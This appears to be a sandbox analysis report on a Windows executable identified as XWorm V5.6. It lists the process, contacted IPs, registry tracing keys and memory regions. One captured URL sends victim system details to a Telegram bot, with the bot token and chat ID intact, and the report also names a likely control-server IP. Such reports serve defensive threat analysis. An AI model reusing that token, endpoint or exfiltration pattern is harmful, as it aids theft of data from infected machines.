Processes
|
Path
|
Cmdline
|
Malicious
|
|
|---|---|---|---|
|
C:\Users\user\Desktop\tE3ZXBTP0B.exe
|
"C:\Users\user\Desktop\tE3ZXBTP0B.exe"
|
 |
URLs
|
Name
|
IP
|
Malicious
|
|
|---|---|---|---|
|
89.40.31.232
|
|
||
|
https://api.telegram.org/bot5630894183:AAFSNB69Q2a6dw-6XMnWlasTfT2befh82Rk/sendMessage?chat_id=793028759&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A79B301C4E3529A1CAD54%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20GP23O5%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%2028Nov2024
|
149.154.167.220
|
||
|
https://api.telegram.org/bot
|
unknown
|
||
|
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
|
unknown
|
Domains
|
Name
|
IP
|
Malicious
|
|
|---|---|---|---|
|
api.telegram.org
|
149.154.167.220
|
IPs
|
IP
|
Domain
|
Country
|
Malicious
|
|
|---|---|---|---|---|
|
89.40.31.232
|
unknown
|
Romania
|
|
|
|
149.154.167.220
|
api.telegram.org
|
United Kingdom
|
Registry
|
Path
|
Value
|
Malicious
|
|
|---|---|---|---|
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\tE3ZXBTP0B_RASAPI32
|
EnableFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\tE3ZXBTP0B_RASAPI32
|
EnableAutoFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\tE3ZXBTP0B_RASAPI32
|
EnableConsoleTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\tE3ZXBTP0B_RASAPI32
|
FileTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\tE3ZXBTP0B_RASAPI32
|
ConsoleTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\tE3ZXBTP0B_RASAPI32
|
MaxFileSize
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\tE3ZXBTP0B_RASAPI32
|
FileDirectory
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\tE3ZXBTP0B_RASMANCS
|
EnableFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\tE3ZXBTP0B_RASMANCS
|
EnableAutoFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\tE3ZXBTP0B_RASMANCS
|
EnableConsoleTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\tE3ZXBTP0B_RASMANCS
|
FileTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\tE3ZXBTP0B_RASMANCS
|
ConsoleTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\tE3ZXBTP0B_RASMANCS
|
MaxFileSize
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\tE3ZXBTP0B_RASMANCS
|
FileDirectory
|
There are 4 hidden registries, click here to show them.
Memdumps
|
Base Address
|
Regiontype
|
Protect
|
Malicious
|
|
|---|---|---|---|---|
|
D62000
|
unkown
|
page readonly
|
|
|
|
3041000
|
trusted library allocation
|
page read and write
|
|
|
|
7FFD9B84C000
|
trusted library allocation
|
page execute and read and write
|
||
|
1BFBE000
|
stack
|
page read and write
|
||
|
1BA05000
|
stack
|
page read and write
|
||
|
7FFD9B8B0000
|
trusted library allocation
|
page execute and read and write
|
||
|
7FFD9B876000
|
trusted library allocation
|
page execute and read and write
|
||
|
1BBC0000
|
heap
|
page read and write
|
||
|
7FFD9B7B4000
|
trusted library allocation
|
page read and write
|
||
|
1B5CC000
|
stack
|
page read and write
|
||
|
1B3CE000
|
heap
|
page read and write
|
||
|
1BC94000
|
heap
|
page read and write
|
||
|
1C040000
|
heap
|
page read and write
|
||
|
7FF4402F0000
|
trusted library allocation
|
page execute and read and write
|
||
|
7FFD9B7AD000
|
trusted library allocation
|
page execute and read and write
|
||
|
7FFD9B793000
|
trusted library allocation
|
page execute and read and write
|
||
|
1BDBE000
|
stack
|
page read and write
|
||
|
30B2000
|
trusted library allocation
|
page read and write
|
||
|
1D47C000
|
stack
|
page read and write
|
||
|
1C67E000
|
stack
|
page read and write
|
||
|
1D17B000
|
stack
|
page read and write
|
||
|
2FFE000
|
stack
|
page read and write
|
||
|
1290000
|
heap
|
page read and write
|
||
|
7FFD9B794000
|
trusted library allocation
|
page read and write
|
||
|
1CA7E000
|
stack
|
page read and write
|
||
|
7FFD9B7B0000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9B950000
|
trusted library allocation
|
page execute and read and write
|
||
|
1440000
|
heap
|
page read and write
|
||
|
1CC80000
|
heap
|
page read and write
|
||
|
1C33B000
|
stack
|
page read and write
|
||
|
7FFD9B930000
|
trusted library allocation
|
page read and write
|
||
|
165D000
|
stack
|
page read and write
|
||
|
1BC96000
|
heap
|
page read and write
|
||
|
13A0000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9B932000
|
trusted library allocation
|
page read and write
|
||
|
1CC78000
|
stack
|
page read and write
|
||
|
7FFD9B840000
|
trusted library allocation
|
page read and write
|
||
|
D60000
|
unkown
|
page readonly
|
||
|
1BC58000
|
heap
|
page read and write
|
||
|
7FFD9B7BD000
|
trusted library allocation
|
page execute and read and write
|
||
|
1B070000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9B846000
|
trusted library allocation
|
page read and write
|
||
|
1CC91000
|
heap
|
page read and write
|
||
|
12BD000
|
heap
|
page read and write
|
||
|
1D27A000
|
stack
|
page read and write
|
||
|
1BEBF000
|
stack
|
page read and write
|
||
|
1296000
|
heap
|
page read and write
|
||
|
D60000
|
unkown
|
page readonly
|
||
|
1C03E000
|
stack
|
page read and write
|
||
|
7FFD9B79D000
|
trusted library allocation
|
page execute and read and write
|
||
|
1BC03000
|
heap
|
page read and write
|
||
|
7FFD9B7A0000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9B790000
|
trusted library allocation
|
page read and write
|
||
|
12C3000
|
heap
|
page read and write
|
||
|
1220000
|
heap
|
page read and write
|
||
|
1270000
|
trusted library allocation
|
page read and write
|
||
|
1BAB3000
|
heap
|
page read and write
|
||
|
11E0000
|
heap
|
page read and write
|
||
|
1BFFF000
|
stack
|
page read and write
|
||
|
1755000
|
heap
|
page read and write
|
||
|
3030000
|
heap
|
page read and write
|
||
|
1CB7A000
|
stack
|
page read and write
|
||
|
7FFD9B850000
|
trusted library allocation
|
page execute and read and write
|
||
|
30A5000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9B960000
|
trusted library allocation
|
page execute and read and write
|
||
|
129C000
|
heap
|
page read and write
|
||
|
7FFD9B7EC000
|
trusted library allocation
|
page execute and read and write
|
||
|
1CCA8000
|
heap
|
page read and write
|
||
|
7FFD9B940000
|
trusted library allocation
|
page read and write
|
||
|
1BC21000
|
heap
|
page read and write
|
||
|
13E0000
|
heap
|
page read and write
|
||
|
12D4000
|
heap
|
page read and write
|
||
|
1BBB4000
|
stack
|
page read and write
|
||
|
137B000
|
heap
|
page read and write
|
||
|
1300000
|
heap
|
page read and write
|
||
|
1355000
|
heap
|
page read and write
|
||
|
10F1000
|
stack
|
page read and write
|
||
|
1BA30000
|
heap
|
page execute and read and write
|
||
|
1100000
|
heap
|
page read and write
|
||
|
1D37C000
|
stack
|
page read and write
|
||
|
13A3000
|
trusted library allocation
|
page read and write
|
||
|
1445000
|
heap
|
page read and write
|
||
|
154D000
|
stack
|
page read and write
|
||
|
1750000
|
heap
|
page read and write
|
||
|
3010000
|
heap
|
page execute and read and write
|
||
|
1390000
|
trusted library allocation
|
page read and write
|
||
|
D76000
|
unkown
|
page readonly
|
||
|
13041000
|
trusted library allocation
|
page read and write
|
||
|
1BAB0000
|
heap
|
page read and write
|
||
|
3533000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9B7BB000
|
trusted library allocation
|
page execute and read and write
|
||
|
1200000
|
heap
|
page read and write
|
||
|
1351000
|
heap
|
page read and write
|
||
|
7FFD9B7A3000
|
trusted library allocation
|
page read and write
|
||
|
12D2000
|
heap
|
page read and write
|
There are 85 hidden memdumps, click here to show them.